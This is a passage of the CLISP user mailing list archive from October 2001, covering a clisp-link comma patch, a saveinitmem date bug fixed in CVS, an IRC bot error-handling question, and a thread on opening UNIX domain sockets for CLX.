<15313.6925.165110.492700@isis.cs3-inc.com> <15313.31832.461140.217892@monkey.x.aarg.net> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 20 15:03:10 2001 X-Original-Date: Sat, 20 Oct 2001 15:01:59 -0700 Sam Steingold writes: > start with http://sf.net/clocc That gave me a page where the most prominent text is "PAGE NOT FOUND" but it does include a search box where, typing clocc leads me to: http://sourceforge.net/projects/clocc/ Scroll down a few pages, click on browse cvs then clocc, src, donc to get all files below, which I've just updated. It turns out that http.lisp is essentially unchanged (just my address), whereas server.lisp on which it relies has a few important changes: the one about timesharing IO streams and the one that avoids absurd delays when your dns service is not working. In order to run my http server you want those two plus a mime types file (I put a copy there of one from apache that works fine). While I was at it I also downloaded a more recent version of my smtp server, which implements my approach to spam elimination. Since Paolo Amoroso pointed out http://ww.telent.net/cliki/Web I looked there and noticed that one of the servers there , IMHO, includes session management. I have code for that too, though not in any of the files above. Perhaps I should post a sample server that does include that. In fact, I just wrote a very simple one that's meant for remote administration - you log in and then execute unix commands; also has an interface for reading/editing/writing files. (Of course, I run it through stunnel!) From johs@bzzzt.fix.no Sun Oct 21 15:26:32 2001 Received: from bzzzt.fix.no ([212.71.72.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15vR38-0001iO-00 for ; Sun, 21 Oct 2001 15:26:31 -0700 Received: from johs by bzzzt.fix.no with local (Exim 3.22 #1) id 15vR3E-000IoR-00 for clisp-list@lists.sourceforge.net; Mon, 22 Oct 2001 00:26:36 +0200 To: clisp-list@lists.sourceforge.net From: Johannes Groedem Message-ID: Lines: 15 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Subject: [clisp-list] clisp-link bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 21 15:27:13 2001 X-Original-Date: Mon, 22 Oct 2001 00:26:36 +0200 --=-=-= Hi, I just thought I'd mention that clisp-link breaks when the LIBS-variable contains commas. (In my case, it contained "-Wl,E" (passes -export-dynamic to the linker), which causes sed to barf out an invalid option error, or something. This is on FreeBSD-4.4, by the way, with BSD Sed, not GNU sed. If GNU sed is installed, it will most likely be called "gsed". Anyway, I've attached a simple patch that seems to work for me. --=-=-= Content-Type: text/x-patch Content-Disposition: attachment; filename=clisp-link.patch Content-Description: clisp-link.patch --- clisp-link.orig Sun Oct 21 22:16:08 2001 +++ clisp-link Mon Oct 22 00:10:09 2001 @@ -278,6 +278,7 @@ done verbose "$destinationdir"/lisp.run -B "$installbasedir" -M "$lispinitdir"/lispinit.mem -norc -q -i $to_load -x "(saveinitmem \"$destinationdir/lispinit.mem\")" # Generate new makevars + LIBS=$(echo $LIBS | sed s/','/'\\,'/g) sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/makevars > "$destinationdir"/makevars # Done. trap '' 1 2 15 @@ -416,6 +417,7 @@ verbose "$destinationdir"/lisp.run -B "$installbasedir" -M "$sourcedir"/lispinit.mem -norc -q -i ${LOAD} -x "(saveinitmem \"$destinationdir/lispinit.mem\")" fi # Generate new makevars + LIBS=$(echo $LIBS | sed s/','/'\\,'/g) sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/makevars > "$destinationdir"/makevars fi # Done. --=-=-= -- johs --=-=-=-- From erik@aarg.net Sun Oct 21 21:16:54 2001 Received: from www.aarg.net ([206.101.74.70] helo=marco.aarg.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15vWWA-0004yj-00 for ; Sun, 21 Oct 2001 21:16:50 -0700 Received: from monkey.x.aarg.net.aarg.net (IDENT:erik@208-046-220-133.pc.ashlandfiber.net [208.46.220.133]) (authenticated) by marco.aarg.net (8.11.6/8.11.6) with ESMTP id f9M4GXQ15041 for ; Sun, 21 Oct 2001 21:16:35 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15315.40353.781988.702341@monkey.x.aarg.net> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.95 under 21.4 (patch 4) "Artificial Intelligence" XEmacs Lucid From: Erik Arneson Subject: [clisp-list] handler-case errors Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 21 21:17:28 2001 X-Original-Date: Sun, 21 Oct 2001 21:16:33 -0700 Hi everybody, I've got a long-running network app -- actually an IRC bot -- that I like to reprogram on the fly via special read commands. I am currently catching `stream-error' via `handler-case' so I can gracefully recover from socket errors, but I need to be able to differentiate those stream errors from the stream errors caused by `read'. Is there an easy way to do this? I was thinking I could always wrap the `read' itself in its own `handler-case', but if there's a special error that read triggers, I'd much rather keep everything in one clause. Any ideas? Where can I get a list of errors and what triggers them? -- > Erik Arneson MM, Ashland Lodge No. 23 < > GPG Key ID: 1024D/43AD6AB8 RAM, Siskiyou Chapter No. 21 < > < From Bernard.Urban@meteo.fr Mon Oct 22 01:23:46 2001 Received: from merceron.meteo.fr ([137.129.26.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15vaMi-0005ln-00 for ; Mon, 22 Oct 2001 01:23:20 -0700 To: clisp-list@lists.sourceforge.net From: Bernard Urban Message-ID: <87zo6nbkw3.fsf@merceron.meteo.fr> Lines: 21 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: saveinitmem bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 22 01:24:06 2001 X-Original-Date: 19 Oct 2001 19:27:24 +0200 Sam Steingold writew: > this appears to have been fixed in the current sources. > could you please try CVS? Sorry, same problem with current CVS: Original lispinitmem: (lisp-implementation-version) "2.27.2 (released 2001-10-05) (built 3212500507) (memory 3212500696)" After saveinitmem: (lisp-implementation-version) *** - Date incorrecte : 500507/0/507, 0h0m0s, heure NIL Notice that I use a french locale, if that matters. -- Bernard Urban From sds@gnu.org Tue Oct 23 06:56:21 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15w22X-0003IJ-00 for ; Tue, 23 Oct 2001 06:56:21 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA21676; Tue, 23 Oct 2001 09:56:17 -0400 (EDT) X-Envelope-To: To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: saveinitmem bug References: <87zo6nbkw3.fsf@merceron.meteo.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87zo6nbkw3.fsf@merceron.meteo.fr> Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 06:57:06 2001 X-Original-Date: 23 Oct 2001 09:55:45 -0400 > * In message <87zo6nbkw3.fsf@merceron.meteo.fr> > * On the subject of "[clisp-list] Re: saveinitmem bug" > * Sent on 19 Oct 2001 19:27:24 +0200 > * Honorable Bernard Urban writes: > > Sam Steingold writew: > > this appears to have been fixed in the current sources. > > could you please try CVS? > > Sorry, same problem with current CVS: > > Original lispinitmem: > (lisp-implementation-version) > "2.27.2 (released 2001-10-05) (built 3212500507) (memory 3212500696)" > > After saveinitmem: > (lisp-implementation-version) > > *** - Date incorrecte : 500507/0/507, 0h0m0s, heure NIL > > Notice that I use a french locale, if that matters. could you please try the C locale? please describe your system (OS,HW,C compiler, libc version &c). $ clisp -q -norc -x '(saveinitmem "foo")' 1029880 ; 524288 $ clisp -q -norc -B build -M foo.mem -x '(lisp-implementation-version)' "2.27.2 (released 2001-10-05) (built 3212404253) (memory 3212833923)" -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Of course, I haven't tried it. But it will work. [Isaak Asimov] From Bernard.Urban@meteo.fr Tue Oct 23 09:43:46 2001 Received: from merceron.meteo.fr ([137.129.26.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15w4eW-0002uI-00 for ; Tue, 23 Oct 2001 09:43:44 -0700 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: saveinitmem bug References: <87zo6nbkw3.fsf@merceron.meteo.fr> From: Bernard Urban In-Reply-To: Message-ID: <87bsiynw7l.fsf@merceron.meteo.fr> Lines: 82 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 09:44:07 2001 X-Original-Date: 23 Oct 2001 18:43:26 +0200 Sam Steingold writes: > > > > Sorry, same problem with current CVS: > > > > Original lispinitmem: > > (lisp-implementation-version) > > "2.27.2 (released 2001-10-05) (built 3212500507) (memory 3212500696)" > > > > After saveinitmem: > > (lisp-implementation-version) > > > > *** - Date incorrecte : 500507/0/507, 0h0m0s, heure NIL > > > > Notice that I use a french locale, if that matters. > > could you please try the C locale? > please describe your system (OS,HW,C compiler, libc version &c). > > $ clisp -q -norc -x '(saveinitmem "foo")' > 1029880 ; > 524288 > $ clisp -q -norc -B build -M foo.mem -x '(lisp-implementation-version)' > "2.27.2 (released 2001-10-05) (built 3212404253) (memory 3212833923)" > > ramses@merceron:~/src/Lisp/clisp-2.28beta/clisp/build$ echo $LANG fr_FR@euro ramses@merceron:~/src/Lisp/clisp-2.28beta/clisp/build$ uname -a Linux merceron 2.4.5 #1 Wed Jul 18 13:34:14 CEST 2001 i686 unknown ramses@merceron:~/src/Lisp/clisp-2.28beta/clisp/build$ dpkg --status libc6 Package: libc6 Status: install ok installed Priority: required Section: base Installed-Size: 12636 Maintainer: Ben Collins Source: glibc Version: 2.2.4-3 Replaces: ldso (<= 1.9.11-9), timezone, timezones, gconv-modules, libtricks, libc6-bin, netkit-rpc, netbase (<< 4.0) Provides: glibc-2.2.4-3 Suggests: locales, glibc-doc Conflicts: strace (<< 4.0-0), libnss-db (<< 2.2-3), timezone, timezones, gconv-modules, libtricks, libc6-doc, libc5 (<< 5.4.33-7), libpthread0 (<< 0.7-10), libc6-bin, libwcsmbs, apt (<< 0.3.0), libglib1.2 (<< 1.2.1-2), libc6-i586, libc6-i686, libc6-v9, netkit-rpc Conffiles: /etc/default/devpts fc857c5ac5fb84d80720ed4d1c624f6e Description: GNU C Library: Shared libraries and Timezone data Contains the standard libraries that are used by nearly all programs on the system. This package includes shared versions of the standard C library and the standard math library, as well as many others. Timezone data is also included. ramses@merceron:~/src/Lisp/clisp-2.28beta/clisp/build$ dpkg --status gcc Package: gcc Status: install ok installed Priority: standard Section: devel Installed-Size: 52 Maintainer: Debian GCC maintainers Source: gcc-defaults (0.13) Version: 2:2.95.4-6 Provides: c-compiler Depends: cpp (>= 2:2.95.4-6), gcc-2.95, cpp-2.95 Recommends: libc-dev Suggests: make, manpages-dev, autoconf, automake, libtool, flex, bison, gdb Description: The GNU C compiler. The default GNU C compiler for Debian GNU/Linux systems. . This is currently version 2.95.4 for this architecture (i386). and with LANG=C, same problem with message: *** - incorrect date: 500507.0.507, 0h0m0s, time zone NIL To obtain proper localization, I compiled clisp-2.28 with LANG=fr_FR@euro. Regards. -- Bernard Urban From sds@gnu.org Tue Oct 23 10:06:05 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15w509-0006sC-00 for ; Tue, 23 Oct 2001 10:06:05 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA29717; Tue, 23 Oct 2001 13:06:00 -0400 (EDT) X-Envelope-To: To: Johannes Groedem Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp-link bug References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 10:07:02 2001 X-Original-Date: 23 Oct 2001 13:05:23 -0400 > * In message > * On the subject of "[clisp-list] clisp-link bug" > * Sent on Mon, 22 Oct 2001 00:26:36 +0200 > * Honorable Johannes Groedem writes: > > I just thought I'd mention that clisp-link breaks when the LIBS-variable > contains commas thanks for the patch. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! When you are arguing with an idiot, your opponent is doing the same. From pvaneynd@debian.org Tue Oct 23 12:03:43 2001 Received: from [212.8.180.1] (helo=yucntsys1.yucom.be) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15w6pz-0001Ya-00 for ; Tue, 23 Oct 2001 12:03:43 -0700 Received: from localhost ([212.8.162.28]) by yucntsys1.yucom.be with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 23 Oct 2001 21:03:38 +0200 Received: from pvaneynd by localhost with local (Exim 3.33 #1 (Debian)) id 15w6gX-0005GD-00 for ; Tue, 23 Oct 2001 20:53:57 +0200 From: Peter Van Eynde To: clisp-list@lists.sourceforge.net Message-ID: <20011023205357.A20148@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.23i Subject: [clisp-list] How to open a UNIX socket with clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 12:04:37 2001 X-Original-Date: Tue, 23 Oct 2001 20:53:57 +0200 Hi, I'm trying to port clocc-port unix sockets to clisp and I don't find how to open a non-internet socket with clisp. In concrete I would like to open /tmp/.X11-unix/X0 so CLX can connect to the X server. (Recent debian distributions don't listen anymore on port 6000 for security reasons so I have to use UNIX sockets). Please tell me I've missed an obvious function :-) Groetjes, Peter -- It's logic Jim, but not as we know it. | pvaneynd@debian.org "God, root, what is difference?" - Pitr| "God is more forgiving." - Dave Aronson| http://cvs2.cons.org/~pvaneynd/ From sds@gnu.org Tue Oct 23 12:33:56 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15w7JC-0007Dy-00 for ; Tue, 23 Oct 2001 12:33:54 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA28542; Tue, 23 Oct 2001 15:33:49 -0400 (EDT) X-Envelope-To: To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: saveinitmem bug References: <87zo6nbkw3.fsf@merceron.meteo.fr> <87bsiynw7l.fsf@merceron.meteo.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87bsiynw7l.fsf@merceron.meteo.fr> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 Message-ID: Lines: 28 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 12:34:19 2001 X-Original-Date: 23 Oct 2001 15:33:06 -0400 > * In message <87bsiynw7l.fsf@merceron.meteo.fr> > * On the subject of "Re: [clisp-list] Re: saveinitmem bug" > * Sent on 23 Oct 2001 18:43:26 +0200 > * Honorable Bernard Urban writes: > > and with LANG=C, same problem with message: > *** - incorrect date: 500507.0.507, 0h0m0s, time zone NIL I just fixed this in the CVS. thanks for reporting the bug the reproducible case is: $ ./lisp.run -B . -q -norc -M lispinit.mem -x '(lisp-implementation-version)(saveinitmem "foo")' "2.27.2 (released 2001-10-05) (built 3212404253) (memory 3212845079)" 1030112 ; 524288 $ ./lisp.run -B . -q -norc -M foo.mem --version GNU CLISP *** - incorrect date: 404253.0.253, 0h0m0s, time zone NIL > To obtain proper localization, I compiled clisp-2.28 with LANG=fr_FR@euro. what does this mean? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! If you want it done right, you have to do it yourself From sds@gnu.org Tue Oct 23 13:14:54 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15w7wr-0000JZ-00 for ; Tue, 23 Oct 2001 13:14:53 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA07062; Tue, 23 Oct 2001 16:14:51 -0400 (EDT) X-Envelope-To: To: Peter Van Eynde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to open a UNIX socket with clisp? References: <20011023205357.A20148@localhost> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011023205357.A20148@localhost> Message-ID: Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 13:15:07 2001 X-Original-Date: 23 Oct 2001 16:14:06 -0400 > * In message <20011023205357.A20148@localhost> > * On the subject of "[clisp-list] How to open a UNIX socket with clisp?" > * Sent on Tue, 23 Oct 2001 20:53:57 +0200 > * Honorable Peter Van Eynde writes: > > Please tell me I've missed an obvious function :-) does (open :direction :io) work? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! I'd give my right arm to be ambidextrous. From erik@aarg.net Tue Oct 23 13:36:44 2001 Received: from marge.musiciansfriend.com ([208.137.126.51] helo=earth.musiciansfriend.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15w8Hr-00052l-00 for ; Tue, 23 Oct 2001 13:36:35 -0700 Received: from sif.musiciansfriend.com.musiciansfriend.com ([172.16.4.22]) by earth.musiciansfriend.com (Netscape Messaging Server 3.52) with ESMTP id AAAD28; Tue, 23 Oct 2001 13:30:27 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15317.54468.304605.328357@sif.musiciansfriend.com> To: sds@gnu.org Cc: Peter Van Eynde , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to open a UNIX socket with clisp? In-Reply-To: References: <20011023205357.A20148@localhost> X-Mailer: VM 6.96 under 21.4 (patch 4) "Artificial Intelligence" XEmacs Lucid X-URL: http://erik.arneson.org/ X-Web: http://erik.arneson.org/ X-Home-Page: http://erik.arneson.org/ X-Face: (tqZYuGE?nmt+0+#GxA:9MCh\^]L?4E&}G79|/Xo~_)Pw5DE9-!hZff&>`8".[Wj1m A4~Qj`/}%?75sWO2TPOZ/'AfN!84V]P{k5:3?sR./6&Cb.B2/u/-5g*^H!E|iU&?jC*=Rc=Z: |2Vbqn+4wOU/II:3b(lsd]a%fcYZ6O$28N';u]?O6.*)U"yiJ?pE=)$$1)xIU~l\3iCiH*.A} H#YW1Wql9RXB;DTEb_.e4DmH$@?63FeK From: Erik Arneson Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 13:37:09 2001 X-Original-Date: Tue, 23 Oct 2001 13:36:20 -0700 On 23 October 2001, Sam Steingold wrote: > > * In message <20011023205357.A20148@localhost> > > * On the subject of "[clisp-list] How to open a UNIX socket with clisp?" > > * Sent on Tue, 23 Oct 2001 20:53:57 +0200 > > * Honorable Peter Van Eynde writes: > > > > Please tell me I've missed an obvious function :-) > > does (open :direction :io) work? That works just fine for FIFOs, but I'm not sure that will work very well for UNIX domain sockets. Normally in C you use similar socket calls with a socket type of PF_UNIX instead of PF_INET. See 'man 7 unix' for more about these kinds of sockets. It doesn't look like CLISP supports these yet? -- # Erik Arneson AARG Net # # GPG Key ID: 1024D/43AD6AB8 # # "Resistance to tyrants is obedience to God!" - Thomas Jefferson # From sds@gnu.org Tue Oct 23 14:07:50 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15w8m6-0008Od-00 for ; Tue, 23 Oct 2001 14:07:50 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA17527; Tue, 23 Oct 2001 17:07:44 -0400 (EDT) X-Envelope-To: To: Erik Arneson Cc: Peter Van Eynde , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to open a UNIX socket with clisp? References: <20011023205357.A20148@localhost> <15317.54468.304605.328357@sif.musiciansfriend.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15317.54468.304605.328357@sif.musiciansfriend.com> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 14:08:07 2001 X-Original-Date: 23 Oct 2001 17:06:57 -0400 > * In message <15317.54468.304605.328357@sif.musiciansfriend.com> > * On the subject of "Re: [clisp-list] How to open a UNIX socket with clisp?" > * Sent on Tue, 23 Oct 2001 13:36:20 -0700 > * Honorable Erik Arneson writes: > > On 23 October 2001, Sam Steingold wrote: > > > * In message <20011023205357.A20148@localhost> > > > * On the subject of "[clisp-list] How to open a UNIX socket with clisp?" > > > * Sent on Tue, 23 Oct 2001 20:53:57 +0200 > > > * Honorable Peter Van Eynde writes: > > > > > > Please tell me I've missed an obvious function :-) (sys::make-socket-stream host display) has been added specifically for mit-clx. when host is a length 0 string, a unix socket pointing to a standard X socket is returned. > > does (open :direction :io) work? > > That works just fine for FIFOs, but I'm not sure that will work very > well for UNIX domain sockets. Normally in C you use similar socket > calls with a socket type of PF_UNIX instead of PF_INET. open can be made to work with them, right? how do I create a unix socket from the shell? (mknod(1) on solaris does not mention this). how do I determine that a file "/foo/bar" is actually a unix socket? (fstat(3) and mknod(2) on solaris do not mention unix sockets). -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Those who value Life above Freedom are destined to lose both. From erik@aarg.net Tue Oct 23 14:19:07 2001 Received: from marge.musiciansfriend.com ([208.137.126.51] helo=earth.musiciansfriend.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15w8wo-0005jZ-00 for ; Tue, 23 Oct 2001 14:18:54 -0700 Received: from sif.musiciansfriend.com.musiciansfriend.com ([172.16.4.22]) by earth.musiciansfriend.com (Netscape Messaging Server 3.52) with ESMTP id AAA16AF; Tue, 23 Oct 2001 14:12:41 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15317.57001.778557.456361@sif.musiciansfriend.com> To: sds@gnu.org Cc: Peter Van Eynde , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to open a UNIX socket with clisp? In-Reply-To: References: <20011023205357.A20148@localhost> <15317.54468.304605.328357@sif.musiciansfriend.com> X-Mailer: VM 6.96 under 21.4 (patch 4) "Artificial Intelligence" XEmacs Lucid X-URL: http://erik.arneson.org/ X-Web: http://erik.arneson.org/ X-Home-Page: http://erik.arneson.org/ X-Face: (tqZYuGE?nmt+0+#GxA:9MCh\^]L?4E&}G79|/Xo~_)Pw5DE9-!hZff&>`8".[Wj1m A4~Qj`/}%?75sWO2TPOZ/'AfN!84V]P{k5:3?sR./6&Cb.B2/u/-5g*^H!E|iU&?jC*=Rc=Z: |2Vbqn+4wOU/II:3b(lsd]a%fcYZ6O$28N';u]?O6.*)U"yiJ?pE=)$$1)xIU~l\3iCiH*.A} H#YW1Wql9RXB;DTEb_.e4DmH$@?63FeK From: Erik Arneson Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 23 14:20:01 2001 X-Original-Date: Tue, 23 Oct 2001 14:18:33 -0700 On 23 October 2001, Sam Steingold wrote: > > * Honorable Erik Arneson writes: > > On 23 October 2001, Sam Steingold wrote: > > > does (open :direction :io) work? > > > > That works just fine for FIFOs, but I'm not sure that will work very > > well for UNIX domain sockets. Normally in C you use similar socket > > calls with a socket type of PF_UNIX instead of PF_INET. > > open can be made to work with them, right? I don't think open works with any sort of socket. PF_UNIX sockets are treated very much like PF_INET sockets wherever possible. In other words, you have to bind them and use the normal libc socket interface. > how do I create a unix socket from the shell? > (mknod(1) on solaris does not mention this). > how do I determine that a file "/foo/bar" is actually a unix socket? > (fstat(3) and mknod(2) on solaris do not mention unix sockets). You can't create a UNIX socket from the shell, as far as I know. You can't interface with them normally via 'cat' and such, either, like you can with a FIFO. They're quite a pain in the butt, huh? :) -- # Erik Arneson AARG Net # # GPG Key ID: 1024D/43AD6AB8 # # "Resistance to tyrants is obedience to God!" - Thomas Jefferson # From sds@gnu.org Tue Oct 23 14:36:01 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15w9DN-0003NV-00 for ; Tue, 23 Oct 2001 14:36:01 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA22538; Tue, 23 Oct 2001 17:35:57 -0400 (EDT) X-Envelope-To: To: Erik Arneson Cc: Peter Van Eynde , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to open a UNIX socket with clisp? References: <20011023205357.A20148@localhost> <15317.54468.304605.328357@sif.musiciansfriend.com> <15317.57001.778557.456361@sif.musiciansfriend.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15317.57001.778557.456361@sif.musiciansfriend.com> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus 